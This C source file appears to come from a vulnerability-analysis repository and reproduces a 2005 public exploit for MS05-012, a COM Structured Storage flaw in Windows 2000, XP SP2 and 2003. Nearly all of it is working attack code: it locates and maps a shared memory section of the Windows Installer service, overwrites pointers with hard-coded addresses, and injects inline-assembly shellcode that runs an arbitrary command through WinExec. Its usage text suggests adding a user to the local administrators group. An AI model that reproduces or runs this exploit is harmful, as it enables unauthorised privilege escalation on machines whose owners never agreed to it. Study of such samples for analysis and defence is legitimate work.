lilbool/vuln-code-analysis
0
1// by Cesar Cerrudo - Argeniss - www.argeniss.com
2// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
3//
4// More exploits at www.argeniss.com/products.html
5//
6// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
7// Close all runing programs to avoid possible problems
8// If it finds the section and it doesn't work remove section permissions
9// from msiexec service process with WinObj or crash the msiexec service and try again
10// if offsets don't work, debug and change them
11
12#include <windows.h>
13#include <stdio.h>
14
15typedef struct _LSA_UNICODE_STRING {
16 USHORT Length;
17 USHORT MaximumLength;
18 PWSTR Buffer;
19} UNICODE_STRING;
20
21typedef struct _OBJDIR_INFORMATION {
22 UNICODE_STRING ObjectName;
23 UNICODE_STRING ObjectTypeName;
24 BYTE Data[1];
25} OBJDIR_INFORMATION;
26
27typedef struct _OBJECT_ATTRIBUTES {
28 ULONG Length;
29 HANDLE RootDirectory;
30 UNICODE_STRING *ObjectName;
31 ULONG Attributes;
32 PVOID SecurityDescriptor;
33 PVOID SecurityQualityOfService;
34} OBJECT_ATTRIBUTES;
35
36#define InitializeObjectAttributes( p, n, a, r, s ) { \
37 (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
38 (p)->RootDirectory = r; \
39 (p)->Attributes = a; \
40 (p)->ObjectName = n; \
41 (p)->SecurityDescriptor = s; \
42 (p)->SecurityQualityOfService = NULL; \
43 }
44
45typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
46MSIINSTALLPRODUCT MsiInstallProduct;
47
48typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
49NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
50
51typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
52NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
53
54
55DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
56{
57 HMODULE hMsi;
58
59 hMsi = LoadLibrary("msi.dll");
60 MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
61 //run unistall , without permissions this makes a windows pop up
62 //while this window is showing the shared section is created and available on Windows Installer service process
63 MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
64
65 return 0;
66}
67
68
69
70int main(int argc, char* argv[])
71{
72
73 OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);
74
75 HANDLE hFile,hThread,hMapFile;
76 HMODULE hNtdll ,hKernel;
77 DWORD dwThreadId;
78 OBJECT_ATTRIBUTES obj;
79 WCHAR * uString=L"\\BaseNamedObjects";
80 UNICODE_STRING str;
81 DWORD i,a,iStrLen,b=0;
82 char sObjName[30],sTmp[50];
83 LPVOID lpMapAddress;
84 FARPROC pWinExec,pExitThread;
85 bool bFound;
86 char* sCommand;
87
88
89 if (!argv[1]||!argv[2]) {
90 printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
91 printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
92 exit(0);
93 }
94
95 iStrLen=strlen(argv[2]);
96
97 if(iStrLen>=65){
98 printf("\n\"command\" must be less than 65 chars.\n");
99 exit(0);
100 }
101
102 sCommand=argv[2];
103
104 hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
105
106 Sleep(3000);
107
108 hNtdll = LoadLibrary("ntdll.dll");
109
110 NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
111 NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
112
113 str.Length=wcslen(uString)*2;
114 str.MaximumLength =wcslen(uString)*2+2;
115 str.Buffer =uString;
116
117 InitializeObjectAttributes (&obj, &str, 0, 0, 00);
118 NtOpenDirectoryObject(&hFile,0x20001,&obj);
119
120 printf("\nSearching for Shared Section...\n\n");
121
122 // Get all objects names under \BaseNamedObjects
123
124 if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
125 do{
126 bFound=NULL;
127 while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
128 //check if it's a section name
129 if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
130 for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
131 sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
132 }
133 //check if it's the one we are searching for
134 if (!strncmp(sObjName,"DfSharedHeap",12)){
135 bFound=1;
136 break;
137 }
138 }
139 }
140 if (bFound)
141 printf("Shared Section Found: %s\n",sObjName);
142 else {
143 printf("Shared Section Not Found");
144 exit(0);
145 }
146
147 strcpy(sTmp,"Global\\");
148 strcat(sTmp,sObjName); //append global prefix to support Terminal Services
149
150 hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
151
152 //the shared section name couldn't be the one we are searching for
153 if (hMapFile == NULL)
154 printf("Could not open Shared Section\n\n");
155 else
156 printf("Shared Section opened\n\n");
157
158 } while (hMapFile == NULL) ;
159
160 lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
161
162 if (lpMapAddress == NULL) {
163 printf("Could not map Shared Section");
164 exit(0);
165 }
166 else
167 printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
168
169 hKernel=LoadLibrary("Kernel32.dll");
170
171 pWinExec=GetProcAddress(hKernel,"WinExec");
172 pExitThread=GetProcAddress(hKernel,"ExitThread");
173
174 _asm{
175
176 mov eax,fs:[30h] // get pointer to PEB
177 mov eax,[eax+0A8h] // get OS minor version
178 cmp eax,0x0
179 jz W2ksp4
180 cmp eax,0x1
181 jz WinXPsp2
182 jmp Win2K3 // address of section seems static on same OS version
183
184 W2Ksp4:
185 mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
186 mov edx,0x01020004 // address of shellcode
187 jmp Done
188
189 WinXPsp2:
190 mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
191 mov edx,0x00870004 // address of shellcode
192 jmp Done
193
194 Win2K3:
195 mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
196 mov edx,0x007C0004 // address of shellcode
197
198 Done:
199 mov ebx,lpMapAddress
200 mov ecx, 0x1000
201
202 l00p: // overwrite section data, so overwriten structures will point to shellcode
203 mov dword ptr[ebx],eax
204 sub ecx,0x4
205 add ebx,0x4
206
207 cmp ecx,0x0
208 jnz l00p
209
210 mov ebx,lpMapAddress //address of shellcode
211 mov dword ptr[ebx],edx
212
213 //start copying shellcode
214
215 lea esi, Shellcode
216 lea edi, [ebx+4]
217 lea ecx, End
218 sub ecx, esi
219 push esi
220 push edi
221 cld
222 rep movsb
223
224 pop edi
225 pop esi
226 push edi
227 lea ecx, CommandBuf
228 sub ecx, esi
229 add edi, ecx
230 mov esi, sCommand
231 mov ecx, iStrLen
232 rep movsb
233 mov [edi], 0x00
234
235 pop edi
236 mov esi, pWinExec
237 mov [edi+0x5], esi
238
239 mov esi, pExitThread
240 mov [edi+0x9], esi
241
242 }
243
244 printf("Command should have been executed ;)\n");
245 CloseHandle(hMapFile);
246
247 }
248 else printf("Couldn't get object names \n");
249
250 return 0;
251
252 _asm{
253
254 Shellcode:
255 call getDelta
256 // this gets overwrited
257 mov ax,0xffff
258 mov ax,0xffff
259
260 CommandBuf: // this gets overwrited
261 mov dword ptr[eax],0x55555555
262 mov dword ptr[eax],0x55555555
263 mov dword ptr[eax],0x55555555
264 mov dword ptr[eax],0x55555555
265 mov dword ptr[eax],0x55555555
266 mov dword ptr[eax],0x55555555
267 mov dword ptr[eax],0x55555555
268 mov dword ptr[eax],0x55555555
269 mov dword ptr[eax],0x55555555
270 mov dword ptr[eax],0x55555555
271 mov dword ptr[eax],0x55555555
272
273 getDelta:
274 pop edx // Get shellcode/shared section pointer
275 push edx // save edx
276
277 push 0x1 // push 0x0 for hidden window
278 lea eax, [edx+0x8]
279 push eax // Command offset
280 call [edx] // Call WinExec
281
282 pop edx
283 call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
284
285 End:
286 }
287}
288
289// milw0rm.com [2005-05-31]